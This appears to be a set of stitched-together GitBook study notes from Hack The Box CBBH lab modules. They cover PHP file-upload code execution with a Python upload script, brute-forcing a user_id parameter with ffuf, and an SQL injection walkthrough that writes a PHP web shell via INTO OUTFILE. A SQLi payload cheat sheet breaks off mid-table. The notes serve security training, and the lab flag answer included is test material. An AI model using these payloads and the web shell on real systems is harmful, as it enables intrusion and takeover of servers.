test whether we can execute `PHP` code with our uploaded file. To do so, we will write `<?php echo "Hello HTB";?>` to `test.php`, and try uploading it to the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_upload_php.jpg&width=768&dpr=3&quality=100&sign=193a9a73&sv=2) The file appears to have successfully been uploaded, as we get a message saying `File successfully uploaded`, which means that `the web application has no file validation whatsoever on the back-end`. Now, we can click the `Download` button, and the web application will take us to our uploaded file: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_hello_htb.jpg&width=768&dpr=3&quality=100&sign=9997b5e&sv=2) As we can see, the page prints our `Hello HTB` message, which means that the `echo` function was executed to print our string, and we successfully executed `PHP` code on the back-end server. If the page could not run PHP code, we would see our source code printed on the page. In the next section, we will see how to exploit this vulnerability to execute code on the back-end server and take control over it. ### **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#questions) #### Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#try-to-upload-a-php-script-that-executes-the-hostname-command-on-the-back-end-server-and-submit-the) I can create a text.php that looks something like this Try to upload it to the target ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FxIEacAp3SDa9LxGPGfpI%252Fimage.png%3Falt%3Dmedia%26token%3Dd1c9d8ec-a9c9-4cff-a913-a7c639916dcc&width=768&dpr=3&quality=100&sign=a47067d9&sv=2) File Successfully Uploads, now click download ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FwlhA8YFtnhR30X7QZo5N%252Fimage.png%3Falt%3Dmedia%26token%3D23adccbc-c50b-4ddb-a84f-c8187b2c8069&width=768&dpr=3&quality=100&sign=de7febbb&sv=2) #### PYTHON AUTOMATION[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#python-automation) you can also execute the steps above with this script, needs refining to make it simpler OUTPUT A: ng-1067736-fileuploadsabsentverification-yrouj-7d78db6459-pvmkl [PreviousBasic Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation) [NextUpload Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation) Last updated 9 months ago * [Arbitrary File Upload](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#arbitrary-file-upload) * [Identifying Web Framework](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#identifying-web-framework) * [Vulnerability Identification](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#vulnerability-identification) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#questions) Copy ┌─[us-academy-3]─[10.10.14.252]─[htb-ac-1067736@htb-qqjuqknxu0]─[~] └──╼ [★]$ cat hostname.php <?php // Capture output of system() safely, then print only the first word. system('hostname 2>/dev/null'); ?> Copy """ --------------------------- ABSENT VALIDATION --------------------------- 1. Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer. """ # Import Request to send web request to the internet import requests import sys import requests import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 DEFAULT_HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Referer": "", # can set if needed "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", } # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } # ============================ PHP SCRIPT ============================ # php_filename = "hostname.php" php_content = "<?php system('hostname 2>/dev/null');?>" # ============================ UPLOAD URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" access_url = f"http://{target}/uploads/hostname.php" files = { # form field name 'file' may vary by app; change if necessary "uploadFile": (php_filename, php_content.encode("utf-8"), "application/x-php") } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Johnny Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) # ============================ Initiate the Request to ACCESS PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Johnny Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Bypassing-Filters/Absent-Filters] └─$ python3 absent_validation.py 94.237.50.9:42134 ======= Johnny Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.50.9:42134/upload.php ******************** REQUEST HEADERS | r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '226', 'Content-Type': 'multipart/form-data; boundary=a16b540a121f6d3687078aef00736d4d'} ******************** REQUEST BODY (raw): ******************** b'--a16b540a121f6d3687078aef00736d4d\r\nContent-Disposition: form-data; name="uploadFile"; filename="hostname.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system(\'hostname 2>/dev/null\');?>\r\n--a16b540a121f6d3687078aef00736d4d--\r\n' ******************** RESPONSE STATUS | r.status_code is: ******************** 200 ******************** RESPONSE COOKIES | r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ======= Johnny Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.50.9:42134/uploads/hostname.php ******************** REQUEST HEADERS | r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS | r.status_code is: ******************** 200 ******************** RESPONSE COOKIES | r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 63 ******************** RESPONSE (first 300 chars): ******************** ng-1067736-fileuploadsabsentverification-vqtse-6b5869cc9-8dghv ******************** --- # Authentication Bypass via Parameter Modification | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification.md) . Authentication Bypass via Parameter Modification[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#authentication-bypass-via-parameter-modification) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * An authentication implementation can be flawed if it depends on the presence or value of an HTTP parameter, introducing authentication vulnerabilities. As in the previous section, such vulnerabilities might lead to authentication and authorization bypasses, allowing for privilege escalation. This type of vulnerability is closely related to authorization issues such as `Insecure Direct Object Reference (IDOR)` vulnerabilities, which are covered in more detail in the [Web Attacks](https://academy.hackthebox.com/module/details/134) module. * * * ### Parameter Modification[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#parameter-modification) Let us take a look at our target web application. This time, we are provided with credentials for the user `htb-stdnt`. After logging in, we are redirected to `/admin.php?user_id=183`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_param_1.png&width=768&dpr=3&quality=100&sign=825fc7eb&sv=2) HTTP request and response. Request: POST to /index.php with username "htb-stdnt" and password "AcademyStudent%21". Response: 302 Found, redirects to /admin.php?user\_id=183. Server: Apache/2.4.59 (Debian). In our web browser, we can see that we seem to be lacking privileges, as we can only see a part of the available data: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_param_2.png&width=768&dpr=3&quality=100&sign=f4f7fe54&sv=2) To investigate the purpose of the `user_id` parameter, let us remove it from our request to `/admin.php`. When doing so, we are redirected back to the login screen at `/index.php`, even though our session provided in the `PHPSESSID` cookie is still valid: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_param_3.png&width=768&dpr=3&quality=100&sign=691ba095&sv=2) HTTP request and response. Request: GET /admin.php with PHPSESSID cookie. Response: 302 Found, redirects to index.php. Server: Apache/2.4.59 (Debian). Thus, we can assume that the parameter `user_id` is related to authentication. We can bypass authentication entirely by accessing the URL `/admin.php?user_id=183` directly: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_param_4.png&width=768&dpr=3&quality=100&sign=1832bae6&sv=2) HTTP request and response. Request: GET /admin.php?user\_id=183. Response: 200 OK. Server: Apache/2.4.59 (Debian). Content-Type: text/html; charset=UTF-8. Based on the parameter name `user_id`, we can infer that the parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the `Brute-Force Attacks` sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the `user_id` parameter. * * * ### Final Remark[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#final-remark) Note that many more advanced vulnerabilities can also lead to an authentication bypass, which we have not covered in this module but are covered by more advanced modules. For instance, Type Juggling leading to an authentication bypass is covered in the [Whitebox Attacks](https://academy.hackthebox.com/module/details/205) module, how different injection vulnerabilities can lead to an authentication bypass is covered in the [Injection Attacks](https://academy.hackthebox.com/module/details/204) and [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33) modules, and logic bugs that can lead to an authentication bypass are covered in the [Parameter Logic Bugs](https://academy.hackthebox.com/module/details/239) module. Create a new custom 3 digit id/tokens.txt, then run ffuf on the [http://94.237.56.25:51931/admin.php?user\_id=18394.237.56.25](http://94.237.56.25:51931/admin.php?user_id=183) Endpoint Then filter for the 14484 size So now plug 372 into [http://94.237.56.25:51931/admin.php?user\_id=37294.237.56.25](http://94.237.56.25:51931/admin.php?user_id=372) And get the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FpNNJY9mHnlpXDt0VVjr4%252Fimage.png%3Falt%3Dmedia%26token%3Dfadbeb54-b371-4aa8-a39d-e35c709433f6&width=768&dpr=3&quality=100&sign=21337c6a&sv=2) A:HTB{63593317426484ea6d270c2159335780} [PreviousAuthentication Bypass via Direct Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access) [NextSession Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/session-attacks) Last updated 9 months ago * [Authentication Bypass via Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#authentication-bypass-via-parameter-modification) * [Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#parameter-modification) * [Final Remark](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#final-remark) Copy ┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses] └─$ seq -w 0 999 > tokens.txt ┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses] └─$ ffuf -w ./tokens.txt -u http://94.237.56.25:51931/admin.php?user_id=FUZZ -t 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://94.237.56.25:51931/admin.php?user_id=FUZZ :: Wordlist : FUZZ: /home/kali/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses/tokens.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ 010 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 166ms] 002 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms] 047 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 165ms] 040 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 169ms] 000 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms] 006 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 169ms] 085 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 174ms] 051 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms] 082 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 170ms] Copy ┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses] └─$ ffuf -w ./tokens.txt -u http://94.237.56.25:51931/admin.php?user_id=FUZZ -t 200 -fs 14484 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://94.237.56.25:51931/admin.php?user_id=FUZZ :: Wordlist : FUZZ: /home/kali/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses/tokens.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 14484 ________________________________________________ 372 [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 138ms] :: Progress: [1000/1000] :: Job [1/1] :: 100 req/sec :: Duration: [0:00:10] :: Errors: 0 :: --- # HTB SQL Injection Fundamentals (assessment writeup/walkthrough) | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough.md) . ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*gaa4WdeLOoIZYI8_oKh8IQ.png&width=768&dpr=3&quality=100&sign=cb3b008d&sv=2) In this final task, we are asked to perform a web application assessment against a public-facing website. Specifically for SQL injection. Our main goal is to use techniques to get remote code execution on the back-end server. We are attacking the web application from a “grey box” approach meaning we do not get a lot of information to work with, we are only given the IP address of the web application and that’s it. Step 1: Logging In[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-9c3c) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ We are first met with a login page which we need to bypass. Since we do not have any credentials to work with we need to craft a payload that will result in a True statement, we can assume that the original query looks similar to this: We are going to use the **OR** operator to try the username OR our condition which will result in a True statement no matter what, here is an example of what that would look like for the full query: Let's do a breakdown of this payload: **1**. **‘** : This single quote gets placed first since we want to end the current string. **2**. **OR 1=1** : After we have ended the string we can then use the OR operator with the values of 1=1, this will return a True value no matter what since 1 is always going to be equal to 1. 3. **— —** : We use a double dash to make the rest of the query a comment, comments are ignored on execution so it will just ignore the “AND password” statement. Using this payload should bypass the login screen: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*rwwPWxd3-3DUsIeiUK4Kkw.png&width=768&dpr=3&quality=100&sign=862fcac2&sv=2) Figure 1: Successfully logged in Step 2: Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-5e9a) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- We see that the “Payroll Information” is retrieving data from somewhere, it’s most likely retrieving multiple columns from a table. To get to the point of creating a payload to get remote code execution, we must first figure out how many columns are retrieved by the table. For this, we can use the **ORDER BY** statement which will try to order the amounts of columns we specify. But there is a catch, if we specify a number that is higher than the expected amount of columns returned it will fail and we can see the change in the web application. Let’s say the table has 5 columns and we try to ORDER BY 6, we can see the change and now we know that the application retrieves 5 columns as this was the last number that worked. This is the payload we are going to test in the input field: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*Cs4QVvC1ntBslwLnBedGOw.png&width=768&dpr=3&quality=100&sign=59d6c9c9&sv=2) Figure 2: Testing the max number of columns returned by the application We tested **‘ ORDER BY 6** and we can see the change in the application, we now know the maximum amount of columns returned which is 5. We can now use the **UNION** clause to run multiple SELECT statements in the same query. We are going to do some user enumeration just to see what MySQL user we are interacting with, and what privileges that user has. To retrieve the user we are going to use this payload: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*9MUneYz-8a11GPjzAt_Ejg.png&width=768&dpr=3&quality=100&sign=cf4274b8&sv=2) Figure 3: User enumeration part 1 Now that we know the username which is “root”, we need to check what privileges this user has, we can do this with the following payload: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A551%2F1*ZPNMWIQsbOybuQXXxKVnHQ.png&width=768&dpr=3&quality=100&sign=1f20f62b&sv=2) Figure 4: User enumeration part 2 The “**FILE**” privilege is what we want to see, this indicates that the root user can both read and write files on the back-end system. The final part of our enumeration is to figure out if the “**secure\_file\_priv**” variable is enabled. This variable is crucial to check since it tells us if we can or can’t write to the back-end system, and for remote code execution we need this variable to be set to enabled with an empty value, our payload is going to check if this variable is set to enable with an empty value: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*V5R08Wh830fYFERH9EAYww.png&width=768&dpr=3&quality=100&sign=806178a5&sv=2) Figure 5: Checking the secure\_file\_priv variable As we can see, the secure\_file\_priv variable has no value, this means that we can write to any part of the system as long as we have permission to write to a specific path. Step 3: Remote Code Execution[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#a127) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Now that we have enumerated enough to know that we can write to the file system, we can begin testing this! To test if this indeed works let’s try writing to the webroot folder where the website is being retrieved from, which is located in “**/var/www/html/dashboard/**”. We are going to use the **INTO OUTFILE** statement to write a simple text file to this folder and then trying to open it in our browser: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A635%2F1*fB_jrTpC_OtKbEd6fXXpBw.png&width=768&dpr=3&quality=100&sign=dd70ddec&sv=2) Figure 6: Testing file And it works! We can now craft a web shell with PHP which will let us parse any command into a URL parameter to execute remote code on the back-end system: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*963Vd5gvK-DLkZCdfzxo9w.png&width=768&dpr=3&quality=100&sign=2f48cbfb&sv=2) Figure 7: Remote code execution test We can now execute any command on the back-end server through the URL, let’s grab that flag the task asks of us, it is located in the root folder: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*DEsheZKVv2ipful8uRO8Mg.png&width=768&dpr=3&quality=100&sign=1bc77990&sv=2) Figure 8: Retrieving flag Thanks for reading! [PreviousSkills Assessment - SQL Injection Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals) [NextUpdated Skills Assesment](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/updated-skills-assesment) Last updated 8 months ago * [Step 1: Logging In](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-9c3c) * [Step 2: Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-5e9a) * [Step 3: Remote Code Execution](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#a127) Copy SELECT * FROM users WHERE username='username' AND password='password'; Copy -- Our payload ' OR 1=1 LIMIT 1-- -' -- Injected into the original statement SELECT * FROM users WHERE username='' OR 1=1-- AND password='password'; Copy -- We increment the number of 1 by 1 for each time we try the payload ' ORDER BY 1 Copy ' UNION SELECT NULL,user(),NULL,NULL,NULL-- Copy ' UNION SELECT NULL,grantee,privilege_type,NULL,NULL FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- Copy ' UNION SELECT NULL,variable_name,variable_value,NULL,NULL FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- Copy random' UNION SELECT "",'This is my test file',"","","" INTO OUTFILE '/var/www/html/dashboard/test.txt'-- Copy <?php system($_REQUEST[0]); ?> Copy random' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","","" INTO OUTFILE '/var/www/html/dashboard/shell.php'-- --- # Cheat Sheet | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet.md) . file-alt **Cheat Sheet** The cheat sheet is a useful command reference for this module. ### MySQL[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql) **Command** **Description** **General** `mysql -u root -h docker.hackthebox.eu -P 3306 -p` login to mysql database `SHOW DATABASES` List available databases `USE users` Switch to database **Tables** `CREATE TABLE logins (id INT, ...)` Add a new table `SHOW TABLES` List available tables in current database `DESCRIBE logins` Show table properties and columns `INSERT INTO table_name VALUES (value_1,..)` Add values to table `INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)` Add values to specific columns in a table `UPDATE table_name SET column1=newvalue1, ... WHERE <condition>` Update table values **Columns** `SELECT * FROM table_name` Show all columns in a table `SELECT column1, column2 FROM table_name` Show specific columns in a table `DROP TABLE logins` Delete a table `ALTER TABLE logins ADD newColumn INT` Add new column `ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn` Rename column `ALTER TABLE logins MODIFY oldColumn DATE` Change column datatype `ALTER TABLE logins DROP oldColumn` Delete column **Output** `SELECT * FROM logins ORDER BY column_1` Sort by column `SELECT * FROM logins ORDER BY column_1 DESC` Sort by column in descending order `SELECT * FROM logins ORDER BY column_1 DESC, id ASC` Sort by two-columns `SELECT * FROM logins LIMIT 2` Only show first two results `SELECT * FROM logins LIMIT 1, 2` Only show first two results starting from index 2 `SELECT * FROM table_name WHERE <condition>` List results that meet a condition `SELECT * FROM logins WHERE username LIKE 'admin%'` List results where the name is similar to a given string ### MySQL Operator Precedence[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql-operator-precedence) * Division (`/`), Multiplication (`*`), and Modulus (`%`) * Addition (`+`) and Subtraction (`-`) * Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`) * NOT (`!`) * AND (`&&`) * OR (`||`) ### SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#sql-injection) **Payload** **Description** **Auth Bypass** `admin' or '1'='1` Basic Auth Bypass `admin')-- -` Basic Auth Bypass With comments [Auth Bypass Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass) **Union Injection** `' order by 1-- -` Detect number of columns using `order by` `cn' UNION select 1,2,3-- -` Detect number of columns using Union injection `cn' UNION select 1,@@version,3,4-- -` Basic Union injection `UNION select username, 2, 3, 4 from passwords-- -` Union injection for 4 columns **DB Enumeration** `SELECT @@version` Fingerprint MySQL with query output `SELECT SLEEP(5)` Fingerprint MySQL with no output `cn' UNION select 1,database(),2,3-- -` Current database name `cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -` List all databases `cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -` List all tables in a specific database `cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -` List all columns in a specific table `cn' UNION select 1, username, password, 4 from dev.credentials-- -` Dump data from a table in another database **Privileges** `cn' UNION SELECT 1, user(), 3, 4-- -` Find current user `cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -` Find if user has admin privileges `cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -` Find if all user privileges `cn' UNION SELECT 1, variable_name, variable_value, 4 